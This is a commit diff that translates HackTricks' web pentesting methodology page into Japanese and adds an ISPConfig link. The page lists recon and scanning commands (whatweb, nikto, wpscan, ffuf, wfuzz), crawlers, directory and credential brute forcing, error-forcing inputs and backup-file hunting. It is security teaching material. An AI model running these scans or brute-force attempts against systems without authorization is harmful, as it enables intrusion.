Translated ['src/windows-hardening/active-directory-methodology/README.m

This commit is contained in:
Translator 2025-08-28 14:33:48 +00:00
parent 1166790c70
commit c6c5be4e55
6 changed files with 504 additions and 389 deletions

View File

@ -432,6 +432,7 @@
- [H2 - Java SQL database](network-services-pentesting/pentesting-web/h2-java-sql-database.md)
- [IIS - Internet Information Services](network-services-pentesting/pentesting-web/iis-internet-information-services.md)
- [ImageMagick Security](network-services-pentesting/pentesting-web/imagemagick-security.md)
- [Ispconfig](network-services-pentesting/pentesting-web/ispconfig.md)
- [JBOSS](network-services-pentesting/pentesting-web/jboss.md)
- [Jira & Confluence](network-services-pentesting/pentesting-web/jira.md)
- [Joomla](network-services-pentesting/pentesting-web/joomla.md)

View File

@ -1,10 +1,10 @@
# 80,443 - Pentesting Web Methodology
# 80,443 - Pentesting Web メソドロジー
{{#include ../../banners/hacktricks-training.md}}
## 基本情報
ウェブサービスは最も**一般的で広範なサービス**であり、多くの**異なる種類の脆弱性**が存在します。
Webサービスは最も**一般的で広範なサービス**であり、**さまざまな種類の脆弱性**が多数存在します。
**デフォルトポート:** 80 (HTTP), 443(HTTPS)
```bash
@ -17,55 +17,55 @@ PORT STATE SERVICE
nc -v domain.com 80 # GET / HTTP/1.0
openssl s_client -connect domain.com:443 # GET / HTTP/1.0
```
### Web API Guidance
### Web API ガイダンス
{{#ref}}
web-api-pentesting.md
{{#endref}}
## Methodology summary
## 方法論の要約
> この方法論では、あなたがドメインまたはサブドメインを攻撃することを前提としています。そのため、発見された各ドメイン、サブドメイン、または不明なウェブサーバーを持つIPにこの方法論を適用する必要があります
> この方法論では、1つのドメインまたはサブドメインだけを攻撃対象とすることを想定します。したがって、スコープ内で発見した各ドメイン、サブドメイン、または未特定のウェブサーバーを持つIPごとにこの方法論を適用してください
- [ ] **技術**を**特定**することから始めます。技術を特定できた場合、テストの残りの部分で考慮すべき**トリック**を探します
- [ ] 技術のバージョンに**既知の脆弱性**はありますか?
- [ ] **よく知られた技術**を使用していますか?より多くの情報を抽出するための**便利なトリック**はありますか?
- [ ] 実行するための**専門スキャナー**はありますか例えば、wpscan
- [ ] **一般的なスキャナー**を起動します。何かを見つけるか、興味深い情報を見つけるかはわかりません
- [ ] **初期チェック**から始めます:**robots**、**sitemap**、**404**エラー、**SSL/TLSスキャン**HTTPSの場合)。
- [ ] ウェブページを**スパイダー**します:すべての可能な**ファイル、フォルダー**、および**使用されているパラメータ**を**見つける**時間です。また、**特別な発見**を確認します
- [ ] _ブルートフォースやスパイダー中に新しいディレクトリが発見された場合は、必ずスパイダーする必要があります。_
- [ ] **ディレクトリブルートフォース**:発見されたすべてのフォルダーをブルートフォースして、新しい**ファイル**や**ディレクトリ**を探します。
- [ ] _ブルートフォースやスパイダー中に新しいディレクトリが発見された場合は、必ずブルートフォースする必要があります。_
- [ ] **バックアップチェック**:一般的なバックアップ拡張子を追加して、**発見されたファイル**の**バックアップ**を見つけられるかテストします
- [ ] **パラメータのブルートフォース****隠れたパラメータ**を**見つける**ことを試みます。
- [ ] **ユーザー入力**を受け入れるすべての可能な**エンドポイント**を**特定**したら、それに関連するすべての種類の**脆弱性**を確認します
- [ ] [このチェックリストに従ってください](../../pentesting-web/web-vulnerabilities-methodology.md)
- [ ] まず、ウェブサーバーで使用されている**technologies**を**identifying**します。技術が特定できたら、以降のテストで念頭に置くべき**tricks**を探してください
- [ ] 使用している技術のバージョンに**known vulnerability**はないか?
- [ ] よく知られた**tech**を使用しているか? 追加で情報を引き出すための**useful trick**はあるか?
- [ ] wpscan のような**specialised scanner**を実行すべきか
- [ ] 汎用のスキャナを実行する。何か見つかるか、興味深い情報が得られるかもしれない
- [ ] **initial checks**から開始:**robots**, **sitemap**, **404 error** および **SSL/TLS scan**HTTPS の場合)。
- [ ] ウェブページの**spidering**を開始:利用されている可能性のあるすべての**files, folders**と**parameters**を見つける時です。特別な所見もチェックしてください
- [ ] _brute-forcingまたはspidering中に新しいディレクトリが発見された場合は、その都度spideringするべきです。_
- [ ] **Directory Brute-Forcing**発見したフォルダをすべてbrute forceして、新しい**files**や**directories**を探す。
- [ ] _brute-forcingやspidering中に新しいディレクトリが発見された場合は、それを必ずBrute-Forcedするべきです。_
- [ ] **Backups checking**:発見したファイルのバックアップを、一般的なバックアップ拡張子を付けて見つけられるかテストする
- [ ] **Brute-Force parameters**:隠しパラメータを見つけるために試す。
- [ ] すべてのユーザー入力を受け付ける可能性のある**endpoints**を特定したら、それらに関連するあらゆる種類の脆弱性をチェックする
- [ ] [Follow this checklist](../../pentesting-web/web-vulnerabilities-methodology.md)
## Server Version (Vulnerable?)
### Identify
実行中のサーバー**バージョン**に**既知の脆弱性**があるか確認します。\
**HTTPヘッダーとレスポンスのクッキー**は、使用されている**技術**や**バージョン**を**特定**するのに非常に役立ちます。**Nmapスキャン**はサーバーバージョンを特定できますが、[**whatweb**](https://github.com/urbanadventurer/WhatWeb)**、**[**webtech**](https://github.com/ShielderSec/webtech)や[**https://builtwith.com/**](https://builtwith.com)**のツールも役立ちます:
稼働中のサーバーのバージョンに既知の脆弱性があるか確認してください。\
The **HTTP headers and cookies of the response** は、使用されている技術やバージョンを識別するのに非常に有用です。**Nmap scan** はサーバーバージョンを特定できますが、[**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)or [**https://builtwith.com/**](https://builtwith.com)**:**
```bash
whatweb -a 1 <URL> #Stealthy
whatweb -a 3 <URL> #Aggresive
webtech -u <URL>
webanalyze -host https://google.com -crawl 2
```
Search **for** [**vulnerabilities of the web application** **version**](../../generic-hacking/search-exploits.md)
検索 **for** [**vulnerabilities of the web application** **version**](../../generic-hacking/search-exploits.md)
### **Check if any WAF**
### **WAFが存在するか確認する**
- [**https://github.com/EnableSecurity/wafw00f**](https://github.com/EnableSecurity/wafw00f)
- [**https://github.com/Ekultek/WhatWaf.git**](https://github.com/Ekultek/WhatWaf.git)
- [**https://nmap.org/nsedoc/scripts/http-waf-detect.html**](https://nmap.org/nsedoc/scripts/http-waf-detect.html)
### Web tech tricks
### Web技術のトリック
異なるよく知られた**技術**での**脆弱性**を見つけるための**トリック**:
利用されているさまざまなよく知られた**技術**で**脆弱性を見つけるための**いくつかの**トリック**:
- [**AEM - Adobe Experience Cloud**](aem-adobe-experience-cloud.md)
- [**Apache**](apache.md)
@ -78,6 +78,7 @@ Search **for** [**vulnerabilities of the web application** **version**](../../ge
- [**Golang**](golang.md)
- [**GraphQL**](graphql.md)
- [**H2 - Java SQL database**](h2-java-sql-database.md)
- [**ISPConfig**](ispconfig.md)
- [**IIS tricks**](iis-internet-information-services.md)
- [**Microsoft SharePoint**](microsoft-sharepoint.md)
- [**JBOSS**](jboss.md)
@ -88,7 +89,7 @@ Search **for** [**vulnerabilities of the web application** **version**](../../ge
- [**Laravel**](laravel.md)
- [**Moodle**](moodle.md)
- [**Nginx**](nginx.md)
- [**PHP (phpには悪用できる興味深いトリックがたくさんあります)**](php-tricks-esp/index.html)
- [**PHP (php has a lot of interesting tricks that could be exploited)**](php-tricks-esp/index.html)
- [**Python**](python.md)
- [**Spring Actuators**](spring-actuators.md)
- [**Symphony**](symphony.md)
@ -100,27 +101,27 @@ Search **for** [**vulnerabilities of the web application** **version**](../../ge
- [**Wordpress**](wordpress.md)
- [**Electron Desktop (XSS to RCE)**](electron-desktop-apps/index.html)
_同じドメインが異なる**ポート**、**フォルダ**、および**サブドメイン**で**異なる技術**を使用している可能性があることに注意してください。_\
ウェブアプリケーションが前述の**技術/プラットフォーム**や**その他の技術**を使用している場合は、**インターネットで新しいトリックを検索する**ことを忘れないでください(そして教えてください!)。
_Take into account that the **same domain** can be using **different technologies** in different **ports**, **folders** and **subdomains**._\
もしウェブアプリケーションが前述のよく知られた**tech/platform listed before**やその他の技術を使用している場合は、インターネットで新しいトリックを検索することを忘れないでください(そして知らせてください!)。
### Source Code Review
### ソースコードレビュー
アプリケーションの**ソースコード**が**github**で利用可能な場合、アプリケーションの**ホワイトボックステスト**を自分で行うことに加えて、現在の**ブラックボックステスト**に役立つ**情報**がいくつかあります:
アプリケーションの**ソースコード**が**github**で入手可能な場合、アプリケーションの**White box**テストを自分で実施することに加えて、現在の**Black-Box**テストに**有用**な**いくつかの情報**が得られる可能性があります:
- **Change-log**や**Readme**、**Version**ファイル、または**バージョン情報にアクセス可能な**ものはありますか?
- **資格情報**はどのように、どこに保存されていますか?資格情報(ユーザー名やパスワード)が含まれる(アクセス可能な?)**ファイル**はありますか?
- **パスワード**は**プレーンテキスト**、**暗号化**されていますか、それともどの**ハッシュアルゴリズム**が使用されていますか?
- 何かを暗号化するための**マスターキー**を使用していますか?どの**アルゴリズム**が使用されていますか?
- 脆弱性を悪用して**これらのファイルのいずれかにアクセス**できますか?
- **github**に**興味深い情報**(解決済みおよび未解決の)**問題**はありますか?または**コミット履歴**に(古いコミット内に**導入されたパスワード**があるかもしれません)
- Web上でアクセス可能な**Change-log or Readme or Version**ファイル、または**バージョン情報**はありますか?
- **credentials** はどのように、どこに保存されていますか?(アクセス可能な)**file** にユーザー名やパスワードが含まれていますか?
- **passwords** は**plain text**ですか、**encrypted**ですか、またはどの**hashing algorithm**が使われていますか?
- 何かを暗号化するための**master key**を使用していますか?どの**algorithm**が使われていますか?
- 何らかの脆弱性を悪用してこれらのファイルのいずれかに**アクセスできますか**
- **github** の(解決済み・未解決の)**issues**に興味深い情報がありますか?または**commit history**(古いコミットに**password**が含まれている可能性)に注目すべきものはありますか
{{#ref}}
code-review-tools.md
{{#endref}}
### Automatic scanners
### 自動スキャナ
#### General purpose automatic scanners
#### 汎用の自動スキャナ
```bash
nikto -h <URL>
whatweb -a 4 <URL>
@ -132,14 +133,14 @@ nuclei -ut && nuclei -target <URL>
# https://github.com/ignis-sec/puff (client side vulns fuzzer)
node puff.js -w ./wordlist-examples/xss.txt -u "http://www.xssgame.com/f/m4KKGHi2rVUN/?query=FUZZ"
```
#### CMSスキャナー
#### CMS スキャナー
CMSが使用されている場合は、**スキャナーを実行する**ことを忘れないでください。もしかしたら何か興味深いものが見つかるかもしれません:
CMS が使用されている場合は **run a scanner** を忘れないでください。思わぬ有用な情報が見つかるかもしれません:
[**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/index.html)**, Railo, Axis2, Glassfish**\
[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** ウェブサイトのセキュリティ問題。(GUI)\
[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** websites for Security issues. (GUI)\
[**VulnX**](https://github.com/anouarbensaad/vulnx)**:** [**Joomla**](joomla.md)**,** [**Wordpress**](wordpress.md)**,** [**Drupal**](drupal/index.html)**, PrestaShop, Opencart**\
**CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal/index.html) **または** [**(M)oodle**](moodle.md)\
**CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal/index.html) **or** [**(M)oodle**](moodle.md)\
[**droopscan**](https://github.com/droope/droopescan)**:** [**Drupal**](drupal/index.html)**,** [**Joomla**](joomla.md)**,** [**Moodle**](moodle.md)**, Silverstripe,** [**Wordpress**](wordpress.md)
```bash
cmsmap [-f W] -F -d <URL>
@ -147,11 +148,11 @@ wpscan --force update -e --url <URL>
joomscan --ec -u <URL>
joomlavs.rb #https://github.com/rastating/joomlavs
```
> この時点で、クライアントが使用しているウェブサーバーに関する情報もしデータが提供されていればや、テスト中に留意すべきいくつかのトリックを持っているはずです。運が良ければ、CMSを見つけてスキャナーを実行したかもしれません。
> この時点で、クライアントが使用しているウェブサーバ(もしデータが与えられていれば)に関するいくつかの情報と、テスト中に覚えておくべきトリックを既に持っているはずです。運が良ければ CMS を見つけてスキャナを実行しているかもしれません。
## ステップバイステップのウェブアプリケーション発見
## ステップバイステップの Web アプリケーション探索
> この時点から、ウェブアプリケーションとのインタラクションを開始します。
> ここからは Web アプリケーションとの対話を開始します。
### 初期チェック
@ -162,30 +163,30 @@ joomlavs.rb #https://github.com/rastating/joomlavs
- /crossdomain.xml
- /clientaccesspolicy.xml
- /.well-known/
- メインページおよびサブページのコメントも確認してください
- メインおよびサブページのコメントも確認すること
**エラーの強制**
**エラーの強制発生**
ウェブサーバーは、奇妙なデータが送信されると**予期しない動作**をすることがあります。これにより、**脆弱性**や**機密情報の開示**が発生する可能性があります。
不正なデータが送られると、Web サーバは**予期しない動作**をすることがあり、これが**脆弱性**や**機密情報の漏えい**につながる可能性があります。
- /whatever_fake.php.aspx、.html、などのような**偽ページ**にアクセスする
- **クッキー値**や**パラメータ**値に**"\[]", "]]", および "\[\["**を追加してエラーを作成す
- **URL**の**最後**に**`/~randomthing/%s`**として入力を与えてエラーを生成する
- PATCH、DEBUG、またはFAKEのような**異なるHTTP動詞**を試す
- **fake pages**(例: /whatever_fake.php、.aspx、.html、などにアクセスする
- **cookie values** や **parameter** の値に "\[]", "]]", "\[\[" を追加してエラーを発生させ
- **URL****末尾****`/~randomthing/%s`** を入れてエラーを生成する
- PATCH、DEBUG や FAKE のような誤ったものも含め、**different HTTP Verbs** を試す
#### **ファイルをアップロードできるか確認する**[**PUT動詞、WebDav**](put-method-webdav.md)****
#### **ファイルをアップロードできるか確認する (**[**PUT verb, WebDav**](put-method-webdav.md)**)**
**WebDav**が**有効**であるが、ルートフォルダーに**ファイルをアップロードする**ための十分な権限がない場合は、次のことを試みてください:
もし **WebDav****enabled** でルートフォルダにファイルを **uploading files** する十分な権限がない場合は、次を試してください:
- **ブルートフォース**認証情報
- ウェブページ内の**見つかったフォルダー**にWebDav経由で**ファイルをアップロード**する。他のフォルダーにファイルをアップロードする権限があるかもしれません
- **Brute Force** でクレデンシャルを総当たりする
- WebDav を介してウェブページ内で見つかった他のフォルダroot 以外)に **Upload files** する。別のフォルダにはアップロード権限がある可能性があります
### **SSL/TLSの脆弱性**
### **SSL/TLS の脆弱性**
- アプリケーションが**HTTPSの使用を強制していない**場合、**MitMに対して脆弱**です
- アプリケーションが**HTTPを使用して機密データパスワードを送信している**場合、これは高い脆弱性です。
- アプリケーションがどの部分でも **HTTPS の使用を強制していない** 場合、**MitM に対して脆弱**です
- アプリケーションが **HTTP を使って機密データ(パスワード)を送信している** 場合、それは重大な脆弱性です
[**testssl.sh**](https://github.com/drwetter/testssl.sh)を使用して**脆弱性**をチェックし(バグバウンティプログラムではこの種の脆弱性は受け入れられない可能性があります)、[**a2sv**](https://github.com/hahwul/a2sv)を使用して脆弱性を再確認してください:
脆弱性をチェックするには [**testssl.sh**](https://github.com/drwetter/testssl.sh) を使用してくださいBug Bounty プログラムではこれらの種類の脆弱性は受け入れられないことが多い)。脆弱性を再確認するには [**a2sv**](https://github.com/hahwul/a2sv) を使用してください:
```bash
./testssl.sh [--htmlfile] 10.10.10.10:443
#Use the --htmlfile to save the output inside an htmlfile also
@ -194,65 +195,65 @@ joomlavs.rb #https://github.com/rastating/joomlavs
sslscan <host:port>
sslyze --regular <ip:port>
```
SSL/TLSの脆弱性に関する情報:
Information about SSL/TLS vulnerabilities:
- [https://www.gracefulsecurity.com/tls-ssl-vulnerabilities/](https://www.gracefulsecurity.com/tls-ssl-vulnerabilities/)
- [https://www.acunetix.com/blog/articles/tls-vulnerabilities-attacks-final-part/](https://www.acunetix.com/blog/articles/tls-vulnerabilities-attacks-final-part/)
### スパイダーリング
### Spidering
ウェブ内で何らかの**スパイダー**を起動します。スパイダーの目的は、テストされたアプリケーションから**できるだけ多くのパスを見つけること**です。したがって、ウェブクロールと外部ソースを使用して、できるだけ多くの有効なパスを見つける必要があります。
ウェブ内に何らかの **spider** を起動します。spider の目的は、テスト対象のアプリケーションから可能な限り多くのパスを **見つけること** です。したがって、web crawling と外部ソースを利用して、可能な限り多くの有効なパスを見つけるべきです。
- [**gospider**](https://github.com/jaeles-project/gospider) (go): HTMLスパイダー、JSファイル内のLinkFinderおよび外部ソースArchive.org、CommonCrawl.org、VirusTotal.com、AlienVault.com
- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HMLスパイダー、JSファイル用のLinkFinderおよび外部ソースとしてのArchive.org
- [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTMLスパイダー、「おいしいファイル」も示します
- [**evine** ](https://github.com/saeeddhqan/evine)(go): インタラクティブCLI HTMLスパイダー。Archive.org内も検索します
- [**meg**](https://github.com/tomnomnom/meg) (go): このツールはスパイダーではありませんが、有用です。ホストのファイルとパスのファイルを指定すると、megは各ホストの各パスを取得し、応答を保存します。
- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): JSレンダリング機能を持つHTMLスパイダー。ただし、メンテナンスされていないようで、事前コンパイルされたバージョンは古く、現在のコードはコンパイルされません。
- [**gau**](https://github.com/lc/gau) (go): 外部プロバイダwayback、otx、commoncrawlを使用するHTMLスパイダー
- [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): このスクリプトはパラメータを持つURLを見つけてリストします
- [**galer**](https://github.com/dwisiswant0/galer) (go): JSレンダリング機能を持つHTMLスパイダー
- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTMLスパイダー、JSファイル内の新しいパスを検索できるJSビューティファイ機能を持っています。LinkFinderのラッパーである[JSScanner](https://github.com/dark-warlord14/JSScanner)も見る価値あります
- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): HTMLソースと埋め込まれたJavaScriptファイルの両方からエンドポイントを抽出します。バグハンター、レッドチーム、インフォセキュリティの専門家に役立ちます
- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): TornadoとJSBeautifierを使用してJavaScriptファイルから相対URLを解析するPython 2.7スクリプト。AJAXリクエストを簡単に発見するのに役立ちます。メンテナンスされていないようです
- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): ファイルHTMLを与えると、巧妙な正規表現を使用して相対URLを抽出します
- [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash、いくつかのツール): いくつかのツールを使用してJSファイルから興味深い情報を収集します
- [**subjs**](https://github.com/lc/subjs) (go): JSファイルを見つけます
- [**page-fetch**](https://github.com/detectify/page-fetch) (go): ヘッドレスブラウザでページを読み込み、ページを読み込むためにロードされたすべてのURLを印刷します
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): 以前のツールのいくつかのオプションを組み合わせたコンテンツ発見ツール。
- [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): JSファイル内のパスとパラメータを見つけるためのBurp拡張機能
- [**Sourcemapper**](https://github.com/denandz/sourcemapper): .js.map URLを与えると、ビューティファイドJSコードを取得します
- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): 特定のターゲットのエンドポイントを発見するために使用されるツールです
- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Waybackマシンからリンクを発見します応答をダウンロードし、さらにリンクを探します)。
- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): フォームを埋めることによるクローリングや、特定の正規表現を使用して機密情報を見つけます
- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suiteは、サイバーセキュリティ専門家向けに設計された高度なマルチ機能GUIウェブセキュリティクローラー/スパイダーです
- [**jsluice**](https://github.com/BishopFox/jsluice) (go): URL、パス、シークレット、その他の興味深いデータをJavaScriptソースコードから抽出するためのGoパッケージおよび[コマンドラインツール](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice)です
- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForgeは、リクエストからパラメータとエンドポイントを抽出してカスタムワードリストを作成するためのシンプルな**Burp Suite拡張機能**です
- [**katana**](https://github.com/projectdiscovery/katana) (go): これに最適な素晴らしいツールです
- [**Crawley**](https://github.com/s0rg/crawley) (go): 見つけられるすべてのリンクを印刷します
- [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider、JS ファイル内の LinkFinder と外部ソース (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com)
- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML spider、JS ファイル用の LinkFider と Archive.org を外部ソースとして使用
- [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML spider、"juicy files" も表示
- [**evine** ](https://github.com/saeeddhqan/evine)(go): 対話式 CLI HTML spider。Archive.org でも検索
- [**meg**](https://github.com/tomnomnom/meg) (go): このツールは spider ではありませんが有用です。hosts のファイルと paths のファイルを指定すると、各ホスト上の各パスを取得してレスポンスを保存します。
- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): JS レンダリング機能を持つ HTML spider。ただし、メンテナンスされていないようで、事前コンパイル版は古く、現在のコードはコンパイルできません。
- [**gau**](https://github.com/lc/gau) (go): 外部プロバイダ(wayback, otx, commoncrawl) を利用する HTML spider
- [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): パラメータ付き URL を見つけて一覧化するスクリプト
- [**galer**](https://github.com/dwisiswant0/galer) (go): JS レンダリング機能を持つ HTML spider
- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider、JS 美化機能付きで JS ファイル内の新しいパスを検索可能。LinkFinder のラッパーである [JSScanner](https://github.com/dark-warlord14/JSScanner) も見る価値あり。
- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): HTML ソースと埋め込み javascript ファイルの両方からエンドポイントを抽出。bug hunters、red teamers、infosec ninjas に有用
- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Tornado と JSBeautifier を使用して JavaScript ファイルから相対 URL を解析する python 2.7 スクリプト。AJAX リクエストの発見に便利。メンテされていない可能性あり
- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): 与えられたファイル(HTML)から正規表現を使って相対 URL を抽出。ミニファイされたファイルから相対 URL を取り出すのに便利
- [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, several tools): 複数ツールを使って JS ファイルから興味深い情報を収集
- [**subjs**](https://github.com/lc/subjs) (go): JS ファイルを検出
- [**page-fetch**](https://github.com/detectify/page-fetch) (go): headless browser でページを読み込み、ページ読み込み時にロードされるすべての URL を出力
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): 先に挙げたツールのいくつかのオプションを組み合わせた content discovery ツール。
- [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): JS ファイル内のパスやパラメータを見つける Burp extension
- [**Sourcemapper**](https://github.com/denandz/sourcemapper): .js.map URL を与えると beautified JS コードを取得するツール
- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): 指定ターゲットのエンドポイント発見に使うツール
- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** wayback machine からリンクを発見wayback 内のレスポンスをダウンロードしてさらにリンクを探す)。
- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): フォームを埋めてクロールしたり、特定の regex を使って機密情報を検出
- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): サイバーセキュリティ専門家向けの高度なマルチ機能 GUI web security Crawler/Spider
- [**jsluice**](https://github.com/BishopFox/jsluice) (go): JavaScript ソースコードから URL、path、secrets、その他の興味深いデータを抽出する Go パッケージと [command-line tool](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice)。
- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): リクエストからパラメータとエンドポイントを抽出して fuzzing/列挙用のカスタムワードリストを作成するシンプルな **Burp Suite extension**
- [**katana**](https://github.com/projectdiscovery/katana) (go): この作業に適した優れたツール
- [**Crawley**](https://github.com/s0rg/crawley) (go): 見つけられるすべてのリンクを表示
### ディレクトリとファイルのブルートフォース
### Brute Force directories and files
ルートフォルダから**ブルートフォース**を開始し、**この方法**で見つかった**すべてのディレクトリ**と**スパイダーリング**によって**発見された**すべてのディレクトリをブルートフォースすることを確認してください(このブルートフォースを**再帰的に**行い、使用するワードリストの先頭に見つかったディレクトリを追加できます)。\
ルートフォルダから **brute-forcing** を開始し、すべての **発見したディレクトリ** をこの方法で必ず brute-force してください。Spidering によって **発見された** すべてのディレクトリも同様です(これを再帰的に行い、使用するワードリストの先頭に見つかったディレクトリ名を追加することができます)。\
ツール:
- **Dirb** / **Dirbuster** - Kaliに含まれており、**古い**(および**遅い**)ですが機能します。自己署名証明書と再帰検索を許可します。他のオプションと比較して遅すぎます
- [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: 自己署名証明書を許可しませんが**、再帰検索を許可します
- [**Gobuster**](https://github.com/OJ/gobuster) (go): 自己署名証明書を許可し、**再帰的**検索はありません
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- 高速、再帰検索をサポートします。**
- **Dirb** / **Dirbuster** - Kali に同梱、**古い**(かつ **遅い**)が動作する。自己署名証明書を許可し、再帰検索が可能。ほかのオプションと比べると遅い
- [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: 自己署名証明書は許可しないが**、再帰検索をサポート
- [**Gobuster**](https://github.com/OJ/gobuster) (go): 自己署名証明書を許可、**再帰検索はできない**
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- 高速、再帰検索をサポート。**
- [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ`
- [**ffuf** ](https://github.com/ffuf/ffuf)- 高速: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ`
- [**uro**](https://github.com/s0md3v/uro) (python): これはスパイダーではありませんが、見つかったURLのリストを与えると「重複」URLを削除します
- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): 異なるページのburp履歴からディレクトリのリストを作成するためのBurp拡張機能
- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): JSインポートに基づいて重複機能を持つURLを削除します
- [**Chamaleon**](https://github.com/iustin24/chameleon): 使用されている技術を検出するためにwapalyzerを使用し、使用するワードリストを選択します
- [**uro**](https://github.com/s0md3v/uro) (python): spider ではないが、見つかった URL のリストを与えると重複した URL を削除するツール
- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Burp の履歴から複数ページのディレクトリ一覧を作成する Burp Extension
- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): js imports に基づいて機能が重複する URL を削除
- [**Chamaleon**](https://github.com/iustin24/chameleon): wapalyzer を使って使技術を検出し、使用するワードリストを選択。
**推奨辞書:**
**Recommended dictionaries:**
- [https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/bf_directories.txt](https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/bf_directories.txt)
- [**Dirsearch**に含まれる辞書](https://github.com/maurosoria/dirsearch/blob/master/db/dicc.txt)
- [**Dirsearch** included dictionary](https://github.com/maurosoria/dirsearch/blob/master/db/dicc.txt)
- [http://gist.github.com/jhaddix/b80ea67d85c13206125806f0828f4d10](http://gist.github.com/jhaddix/b80ea67d85c13206125806f0828f4d10)
- [Assetnoteワードリスト](https://wordlists.assetnote.io)
- [Assetnote wordlists](https://wordlists.assetnote.io)
- [https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content](https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content)
- raft-large-directories-lowercase.txt
- directory-list-2.3-medium.txt
@ -266,43 +267,43 @@ SSL/TLSの脆弱性に関する情報:
- _/usr/share/wordlists/dirb/big.txt_
- _/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt_
_ブルートフォースやスパイダーリング中に新しいディレクトリが発見された場合は、必ずブルートフォースを行う必要があります。_
_新しいディレクトリが brute-forcing や spidering 中に発見された場合は、いつでもそのディレクトリを Brute-Force すべきです。_
### 見つかった各ファイルで確認すべきこと
### What to check on each file found
- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): 乗っ取りの危険があるHTML内の壊れたリンクを見つけます
- **ファイルバックアップ**: すべてのファイルを見つけたら、すべての実行可能ファイル("_.php_", "_.aspx_"...)のバックアップを探します。バックアップの命名に一般的なバリエーションは次のとおりです: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmpおよびfile.old._ また、[**bfac**](https://github.com/mazen160/bfac) **または** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**を使用できます。**
- **新しいパラメータを発見**: [**Arjun**](https://github.com/s0md3v/Arjun)**** [**parameth**](https://github.com/maK-/parameth)**** [**x8**](https://github.com/sh1yo/x8) **および** [**Param Miner**](https://github.com/PortSwigger/param-miner) **を使用して隠れたパラメータを発見できます。可能であれば、各実行可能ウェブファイルで隠れたパラメータを検索してみてください。**
- _Arjunのすべてのデフォルトワードリスト:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db)
- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): HTML 内の壊れたリンクを見つけ、takeovers の可能性を探る
- **File Backups**: すべてのファイルを見つけたら、実行ファイルのバックアップ("_.php_", "_.aspx_"...)を探す。バックアップの一般的な命名パターンは: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp and file.old._。ツール [**bfac**](https://github.com/mazen160/bfac) **または** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen) を使うこともできる。
